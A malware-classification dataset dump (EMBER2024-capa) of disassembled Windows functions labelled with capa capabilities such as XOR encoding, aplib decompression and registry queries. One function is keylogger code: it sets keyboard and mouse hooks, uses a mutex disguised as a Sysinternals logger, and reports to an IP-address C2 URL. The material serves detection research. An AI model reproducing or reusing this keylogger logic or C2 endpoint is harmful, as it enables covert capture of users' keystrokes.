joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140012e90
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400113f2
movzx eax, al
test eax, eax
jne 0x140012eb0
mov ecx, 7
call fcn.140011343
nop
mov byte [rsp + 0x20], 0
call fcn.140011361
mov byte [rsp + 0x21], al
cmp dword [0x14001e9f8], 1
jne 0x140012ed4
mov ecx, 7
call fcn.140011343
nop
jmp 0x140012f2c
cmp dword [0x14001e9f8], 0
jne 0x140012f27
mov dword [0x14001e9f8], 1
lea rdx, [0x14001a660]
lea rcx, [0x14001a330]
call fcn.1400111bd
test eax, eax
je 0x140012f08
mov eax, 0xff
jmp 0x140013031
lea rdx, [0x14001a220]
lea rcx, [section..rdata]
call fcn.140011352
mov dword [0x14001e9f8], 2
jmp 0x140012f2c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.14001132f
call fcn.1400112cb
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140012f89
mov rcx, qword [rsp + 0x30]
call fcn.140011168
movzx eax, al
test eax, eax
je 0x140012f89
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140028020]
nop
call fcn.1400112fd
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140012fbd
mov rcx, qword [rsp + 0x38]
call fcn.140011168
movzx eax, al
test eax, eax
je 0x140012fbd
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.1400113b1
nop
call fcn.1400130e0
mov dword [rsp + 0x28], eax
call fcn.1400112a8
movzx eax, al
test eax, eax
jne 0x140012fdc
mov ecx, dword [rsp + 0x28]
call fcn.14001105a
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140012feb
call fcn.1400113bb
nop
xor edx, edx
mov cl, 1
call fcn.140011159
mov eax, dword [rsp + 0x28]
jmp 0x140013031
add rsp, 0x68
ret

Function at 0x140e9e5dc
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140e9e5e6
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140e9e60f
pop rbp
sub rbp, 0x33
sub rbp, 0xe9e5dc
sub rsp, 0x20
jmp 0x140e9e62e
mov rax, 0xe9e5dc
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xffffffffb96216c6
xor byte [rax], dl
inc rax
dec rcx
jne 0x140e9e64d
jmp 0x140e9e664
mov cs, word [rdi + 0x2f]
cli
mov dh, 0xc6
mov es, word [rdi + 7]
invalid
Function at 0x1409df058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1409df1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1409df089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409df06f
add dl, dl
jne 0x1409df096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409df0f6
xor eax, eax
add dl, dl
jne 0x1409df0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409df1ad
add dl, dl
jne 0x1409df0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409df0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409df0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409df0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1409df0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1409df07e
mov eax, 1
add dl, dl
jne 0x1409df106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409df113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1409df0fb
sub eax, ebx
mov ebx, 1
jne 0x1409df14c
mov ecx, 1
add dl, dl
jne 0x1409df12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1409df13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1409df123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1409df07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1409df168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1409df175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1409df15d
cmp eax, 0x7d00
jae 0x1409df19b
cmp eax, 0x500
jb 0x1409df196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1409df07e
cmp eax, 0x7f
ja 0x1409df19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1409df07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1409df1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1409df07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140002740
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
push rbp
push rdi
push r14
lea rbp, [rax - 0x3c8]
sub rsp, 0x4b0
mov qword [rsp + 0x78], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rax, qword [0x14002c950]
xor rax, rsp
mov qword [rbp + 0x3a0], rax
mov rdi, rcx
mov qword [rbp - 0x80], rcx
xor r14d, r14d
mov dword [rsp + 0x30], r14d
mov qword [rcx + 0x18], 7
mov qword [rcx + 0x10], r14
mov word [rcx], r14w
mov dword [rsp + 0x30], 1
lea rax, [rbp - 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 0x20119
xor r8d, r8d
lea rdx, str.SoftwareWireless
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1400027f6
lea rax, [rbp - 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SoftwareWireless
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000291c
mov qword [rsp + 0x70], 7
mov qword [rsp + 0x68], r14
mov word [rsp + 0x58], r14w
xor r8d, r8d
lea rdx, [0x140027af8]
lea rcx, [rsp + 0x58]
call fcn.140005320
nop
mov qword [rsp + 0x50], 7
mov qword [rsp + 0x48], r14
mov word [rsp + 0x38], r14w
mov r8d, 3
lea rdx, [0x140027b28]
lea rcx, [rsp + 0x38]
call fcn.140005320
nop
mov rsi, qword [rbp - 0x78]
lea rax, [rsp + 0x58]
or rbx, 0xffffffffffffffff
cmp rdi, rax
je 0x140002870
mov r9, rbx
xor r8d, r8d
lea rdx, [rsp + 0x58]
mov rcx, rdi
call fcn.1400051d0
mov dword [rbp - 0x70], 0x400
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 8
cmovae rdx, qword [rsp + 0x38]
lea rax, [rbp - 0x70]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1400028da
cmp word [rbp - 0x60], ax
jne 0x1400028b8
mov rbx, r14
jmp 0x1400028ca
lea rax, [rbp - 0x60]
nop dword [rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x1400028c0
mov r8, rbx
lea rdx, [rbp - 0x60]
mov rcx, rdi
call fcn.140005320
nop
cmp qword [rsp + 0x50], 8
jb 0x1400028ec
mov rcx, qword [rsp + 0x38]
call fcn.140008d18
mov qword [rsp + 0x50], 7
mov qword [rsp + 0x48], r14
mov word [rsp + 0x38], r14w
cmp qword [rsp + 0x70], 8
jb 0x140002912
mov rcx, qword [rsp + 0x58]
call fcn.140008d18
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, rdi
mov rcx, qword [rbp + 0x3a0]
xor rcx, rsp
call fcn.140006d50
lea r11, [rsp + 0x4b0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140002fb0
Capabilities:
Check mutex on windows
Create thread
Log keystrokes via application hook

Disassembly:
mov r11, rsp
push rsi
sub rsp, 0xb0
mov rax, qword [0x14002c950]
xor rax, rsp
mov qword [rsp + 0xa0], rax
movaps xmm0, xmmword [str.Microsoft_SysInternal_logger_v2.1]
movaps xmm1, xmmword [0x140027bf0]
mov eax, dword [0x140027c20]
lea r8, [r11 - 0x68]
mov edx, 1
xor ecx, ecx
movaps xmmword [rsp + 0x50], xmm0
movaps xmm0, xmmword [0x140027c00]
movaps xmmword [rsp + 0x60], xmm1
movaps xmm1, xmmword [0x140027c10]
movaps xmmword [rsp + 0x70], xmm0
mov dword [r11 - 0x28], eax
movaps xmmword [r11 - 0x38], xmm1
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1400031a6
mov qword [rsp + 0xc0], rbx
lea rcx, [rsp + 0x30]
mov qword [rsp + 0xc8], rbp
mov qword [rsp + 0xd0], rdi
call fcn.140002740
lea rbx, [0x14002dbd0]
xor ebp, ebp
mov rdi, rax
cmp rbx, rax
je 0x140003099
cmp qword [0x14002dbe8], 8
jb 0x140003075
mov rcx, qword [0x14002dbd0]
call fcn.140008d18
mov rdx, rdi
mov rcx, rbx
mov qword [0x14002dbe8], 7
mov qword [0x14002dbe0], rbp
mov word [0x14002dbd0], bp
call fcn.1400048c0
cmp qword [rsp + 0x48], 8
mov rdi, qword [rsp + 0xd0]
jb 0x1400030b3
mov rcx, qword [rsp + 0x30]
call fcn.140008d18
cmp qword [0x14002dbe8], 8
lea r9, str.Notification_2.1_launched_
lea rdx, str.http:__158.220.112.170_api_api.php_uid_lsstatus_ls
cmovae rbx, qword [0x14002dbd0]
lea rcx, [0x1400301d0]
mov r8, rbx
call fcn.140005a20
lea r8, [0x140002950]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], ebp
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rdx, str.C:WindowsSystem32mgr.ini
lea rcx, [rsp + 0x30]
mov r8d, 0x1b
mov qword [rsp + 0x48], 7
mov qword [rsp + 0x40], rbp
mov word [rsp + 0x30], bp
call fcn.140005320
lea rcx, [rsp + 0x30]
call fcn.140002d00
xor r9d, r9d
lea rdx, [0x140002980]
lea ecx, [r9 + 0xd]
xor r8d, r8d
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
xor r9d, r9d
lea rdx, [0x140002b70]
lea ecx, [r9 + 0xe]
xor r8d, r8d
mov qword [0x14002f9c8], rax
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov rbp, qword [rsp + 0xc8]
mov rbx, qword [rsp + 0xc0]
mov qword [0x14002f9c0], rax
nop dword [rax]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x140003180
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.140006d50
add rsp, 0xb0
pop rsi
ret
Function at 0x140003790
Capabilities:
Write file on windows

Disassembly:
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0x90
mov qword [rbp - 0x19], 0xfffffffffffffffe
mov qword [rsp + 0xd0], rbx
mov rax, qword [0x14002c950]
xor rax, rsp
mov qword [rbp + 0x27], rax
movzx r14d, dx
mov rbx, rcx
mov esi, 0xffff
cmp si, dx
jne 0x1400037da
xor eax, eax
jmp 0x1400039a8
mov rax, qword [rcx + 0x40]
mov r8, qword [rax]
test r8, r8
je 0x140003817
mov rax, qword [rcx + 0x58]
movsxd r9, dword [rax]
lea rdx, [r8 + r9*2]
cmp r8, rdx
jae 0x140003817
lea ecx, [r9 - 1]
mov dword [rax], ecx
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 2]
mov qword [rdx], rcx
mov word [r8], r14w
movzx eax, r14w
jmp 0x1400039a8
cmp qword [rcx + 0x90], 0
je 0x1400039a5
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x80]
cmp qword [r8], rax
jne 0x140003853
mov rdx, qword [rcx + 0x70]
mov rcx, qword [rcx + 0x68]
mov qword [r8], rcx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
sub rdx, rcx
sar rdx, 1
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp qword [rbx + 0x78], 0
jne 0x14000387c
mov rdx, qword [rbx + 0x90]
movzx ecx, r14w
call fcn.1400076cc
cmp ax, si
je 0x1400039a5
movzx esi, r14w
jmp 0x1400039a5
mov word [rbp - 1], r14w
mov qword [rbp + 0x1f], 0xf
xor eax, eax
mov qword [rbp + 0x17], rax
mov byte [rbp + 7], al
xor r8d, r8d
lea edx, [rax + 8]
lea rcx, [rbp + 7]
call fcn.140004f50
nop
lea rdx, [rbp + 7]
cmp qword [rbp + 0x1f], 0x10
cmovae rdx, qword [rbp + 7]
lea r8, [rbp + 7]
cmovae r8, qword [rbp + 7]
mov rcx, qword [rbx + 0x78]
mov r10, qword [rcx]
add rdx, qword [rbp + 0x17]
lea rax, [rbp - 9]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], r8
lea rax, [rbp - 0x11]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 1]
lea r8, [rbp - 1]
lea rdx, [rbx + 0x84]
call qword [r10 + 0x38]
test eax, eax
js 0x140003995
cmp eax, 1
jg 0x140003977
lea rax, [rbp + 7]
mov r9, qword [rbp + 7]
mov r10, qword [rbp + 0x1f]
cmp r10, 0x10
cmovae rax, r9
mov rdi, qword [rbp - 9]
sub rdi, rax
je 0x140003942
lea rcx, [rbp + 7]
cmp r10, 0x10
cmovae rcx, r9
mov r9, qword [rbx + 0x90]
mov r8, rdi
mov edx, 1
call fcn.14000918c
cmp rdi, rax
jne 0x140003995
mov byte [rbx + 0x82], 1
lea rax, [rbp - 1]
cmp qword [rbp - 0x11], rax
jne 0x140003991
test rdi, rdi
jne 0x1400038a2
cmp qword [rbp + 0x17], 0x20
jae 0x140003995
xor r8d, r8d
lea edx, [rdi + 8]
lea rcx, [rbp + 7]
call fcn.1400044f0
jmp 0x1400038a2
cmp eax, 3
jne 0x140003995
mov rdx, qword [rbx + 0x90]
movzx ecx, word [rbp - 1]
call fcn.1400076cc
cmp ax, si
je 0x140003995
movzx esi, r14w
cmp qword [rbp + 0x1f], 0x10
jb 0x1400039a5
mov rcx, qword [rbp + 7]
call fcn.140008d18
movzx eax, si
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.140006d50
mov rbx, qword [rsp + 0xd0]
add rsp, 0x90
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x140004bb0
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x70
mov qword [rax - 0x48], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rax, qword [0x14002c950]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rdi, rcx
cmp qword [rcx + 0x78], 0
je 0x140004d15
cmp byte [rcx + 0x82], 0
je 0x140004d15
mov rax, qword [rcx]
mov ebx, 0xffff
mov edx, ebx
call qword [rax + 0x18]
cmp bx, ax
jne 0x140004c0b
xor al, al
jmp 0x140004d17
mov qword [rsp + 0x58], 0xf
mov qword [rsp + 0x50], 0
mov byte [rsp + 0x40], 0
xor r8d, r8d
lea edx, [r8 + 8]
lea rcx, [rsp + 0x40]
call fcn.140004f50
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
lea r8, [rsp + 0x40]
cmovae r8, qword [rsp + 0x40]
mov rcx, qword [rdi + 0x78]
mov r10, qword [rcx]
mov r9, qword [rsp + 0x50]
add r9, rdx
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea rdx, [rdi + 0x84]
call qword [r10 + 0x40]
test eax, eax
je 0x140004c7e
dec eax
jne 0x140004cf3
jmp 0x140004c85
mov byte [rdi + 0x82], 0
lea rax, [rsp + 0x40]
mov r9, qword [rsp + 0x40]
mov r10, qword [rsp + 0x58]
cmp r10, 0x10
cmovae rax, r9
mov rbx, qword [rsp + 0x38]
sub rbx, rax
je 0x140004ccc
lea rcx, [rsp + 0x40]
cmp r10, 0x10
cmovae rcx, r9
mov r9, qword [rdi + 0x90]
mov r8, rbx
mov edx, 1
call fcn.14000918c
cmp rbx, rax
jne 0x140004cf8
cmp byte [rdi + 0x82], 0
je 0x140004cfc
test rbx, rbx
jne 0x140004c34
xor r8d, r8d
lea edx, [rbx + 8]
lea rcx, [rsp + 0x40]
call fcn.1400044f0
jmp 0x140004c34
sub eax, 2
je 0x140004cfc
xor bl, bl
jmp 0x140004cfe
mov bl, 1
cmp qword [rsp + 0x58], 0x10
jb 0x140004d10
mov rcx, qword [rsp + 0x40]
call fcn.140008d18
movzx eax, bl
jmp 0x140004d17
mov al, 1
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140006d50
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x14000e534
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.14000e39c
Function at 0x2fa4814
Capabilities:
Encode data using xor

Disassembly:
jmp 0x2fa481e
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x2fa4847
pop rbp
sub rbp, 0x33
sub rbp, 0x2ba4814
sub rsp, 0x20
jmp 0x2fa4866
mov rax, 0x2ba4814
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xfffffffff8d22b6e
xor byte [rax], dl
inc rax
dec rcx
jne 0x2fa4885
jmp 0x2fa489c
out 0x87, eax
in eax, 0xe7
push rdx
outsb dx, byte [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
out dx, eax
scasd eax, dword [rdi]
outsw dx, word [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
outsd dx, dword es:[rsi]
xchg dword [rsi], esp
test eax, 0x6e6e6dae
outsb dx, byte [rsi]
test eax, 0x6e6e46ac
outsb dx, byte [rsi]
cdq
mov word [rsi], fs
outsd dx, dword [rsi]
scasd eax, dword [rdi]
in eax, 0xef
invalid
Function at 0x4175c0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x417766
sub rsp, 0x50
mov qword [rsp + 0x48], rbp
lea rbp, [rsp + 0x48]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00433dc0
xorps xmm15, xmm15
mov r14, qword [0x0092a088]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x41762b
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x417640
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
nop
test rbx, rbx
jbe 0x417665
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x417679
cmp rbx, 0x1000
jae 0x417635
nop dword [rax]
jmp 0x4176e9
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
nop
cmp rbx, 0x1000
jae 0x41768d
xor edx, edx
jmp 0x4176e0
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00433dc0
xorps xmm15, xmm15
mov r14, qword [0x0092a088]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
nop dword [rax]
test dl, dl
jne 0x41766f
jmp 0x417654
call fcn.00466fc0
xorps xmm15, xmm15
mov r14, qword [0x0092a088]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.00438500
lea rax, [0x006cd314]
mov ebx, 0x18
call fcn.00438e00
mov rax, qword [rsp + 0x38]
call fcn.00438b00
lea rax, [0x006cd44c]
mov ebx, 0x19
call fcn.00438e00
mov rax, qword [rsp + 0x30]
nop
call fcn.00438b00
call fcn.00438760
call fcn.00438580
lea rax, [0x006d16d9]
mov ebx, 0x21
nop dword [rax + rax]
call fcn.00436bc0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00463400
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
nop
jmp fcn.004175c0
Function at 0x4177a0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4179ca
sub rsp, 0x58
mov qword [rsp + 0x50], rbp
lea rbp, [rsp + 0x50]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call fcn.00433e40
xorps xmm15, xmm15
mov r14, qword [0x0092a088]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rcx, rax
cmp qword [rsp + 0x28], rax
je 0x417819
mov rbx, qword [rsp + 0x68]
mov rax, rbx
jmp 0x41782c
mov rbp, qword [rsp + 0x50]
add rsp, 0x58
ret
sub rdx, rbx
add rcx, rbx
mov rbx, rdx
test rbx, rbx
jbe 0x417850
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov rdx, rbx
nop
jmp 0x417864
cmp rbx, 0x1000
jae 0x417823
jmp 0x4178e5
mov rbp, qword [rsp + 0x50]
add rsp, 0x58
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x417876
xor esi, esi
jmp 0x4178d6
mov rax, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
nop dword [rax]
call fcn.00433e40
xorps xmm15, xmm15
mov r14, qword [0x0092a088]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x28], 0
sete al
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
mov esi, eax
mov rax, qword [rsp + 0x68]
test sil, sil
jne 0x41785a
nop
jmp 0x417842
call fcn.00466fc0
xorps xmm15, xmm15
mov r14, qword [0x0092a088]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov dword [rsp + 0x34], eax
cmp eax, 8
jne 0x417965
call fcn.00438500
lea rax, [0x006cda8c]
mov ebx, 0x19
call fcn.00438e00
mov rax, qword [rsp + 0x68]
call fcn.00438b00
lea rax, [0x006cd44c]
mov ebx, 0x19
call fcn.00438e00
mov eax, dword [rsp + 0x34]
nop dword [rax]
call fcn.00438b00
call fcn.00438760
call fcn.00438580
lea rax, [0x006c8678]
mov ebx, 0xd
nop dword [rax + rax]
call fcn.00436bc0
cmp eax, 0x5af
je 0x417908
call fcn.00438500
lea rax, [0x006cda8c]
mov ebx, 0x19
nop dword [rax]
call fcn.00438e00
mov rax, qword [rsp + 0x38]
call fcn.00438b00
lea rax, [0x006cd44c]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.00438e00
mov eax, dword [rsp + 0x34]
call fcn.00438b00
call fcn.00438760
call fcn.00438580
lea rax, [0x006d07e1]
mov ebx, 0x1f
call fcn.00436bc0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00463400
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.004177a0
Function at 0x41fc80
Capabilities:
Hash data using murmur3

Disassembly:
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
cmp byte [0x00929e64], 0
jne 0x41fd6f
mov rdx, qword [rax + 0x50]
test byte [rdx], al
nop
nop
nop
sub rbx, qword [rax + 0x18]
mov esi, dword [rax + 0x5c]
imul rbx, rsi
mov rsi, rbx
shr rbx, 0x20
shr rsi, 0x23
and ebx, 7
mov rdi, rcx
mov rcx, rbx
mov r8d, 1
shl r8d, cl
add rdx, rsi
lock or byte [rdx], r8b
nop
nop
mov rcx, qword [rax + 0x18]
nop
movabs rdx, 0x800000000000
lea rax, [rdx + rcx]
mov rdx, rax
shr rax, 0x2a
cmp rax, 0x40
jae 0x41fd65
lea rbx, [0x008fc290]
mov rax, qword [rbx + rax*8]
shr rdx, 0x16
and edx, 0xfffff
mov rdx, qword [rax + rdx*8]
test byte [rdx], al
test byte [rax], al
mov rax, rcx
shr rcx, 0x10
and ecx, 0x3f
movzx ebx, byte [rdx + rcx + 0x11440]
lea rdx, [rdx + rcx]
lea rdx, [rdx + 0x11440]
shr rax, 0xd
and eax, 7
mov rcx, rax
mov eax, 1
shl eax, cl
test al, bl
jne 0x41fd47
lock or byte [rdx], al
mov rax, qword [r14 + 0x30]
mov rax, qword [rax + 0xa0]
test byte [rax], al
add qword [rax + 0x1248], rdi
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov ecx, 0x40
call fcn.00465a80
lea rax, [0x006d5652]
mov ebx, 0x2c
nop dword [rax + rax]
call fcn.00436bc0
nop
int3

Function at 0x422160
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x42225e
sub rsp, 0x48
mov qword [rsp + 0x40], rbp
lea rbp, [rsp + 0x40]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rbx
mov qword [rsp + 8], 0
jmp 0x4221a0
mov rax, qword [rsp + 0x50]
mov rcx, rdx
mov rbx, qword [rsp + 0x58]
nop
cmp qword [rsp + 8], rbx
jae 0x42224f
test byte [rax], al
lea rcx, [rax + 0x100b8]
mov rax, rcx
call fcn.00422d20
nop dword [rax]
test rax, rax
je 0x42224f
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x20], xmm15
movups xmmword [rsp + 0x30], xmm15
lea rcx, [0x004222a0]
mov qword [rsp + 0x10], rcx
lea rdx, [rsp + 8]
mov qword [rsp + 0x18], rdx
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x20], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rbx
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea rbx, [rsp + 0x10]
mov qword [rsp], rbx
call fcn.004632c0
xorps xmm15, xmm15
mov r14, qword [0x0092a088]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rdx, qword [rsp + 0x60]
test rdx, rdx
jne 0x42223d
xor eax, eax
jmp 0x422247
mov rax, qword [rdx]
call rax
mov rdx, qword [rsp + 0x60]
test al, al
je 0x422192
mov rax, qword [rsp + 8]
mov rbp, qword [rsp + 0x40]
add rsp, 0x48
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
call fcn.00463400
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
jmp fcn.00422160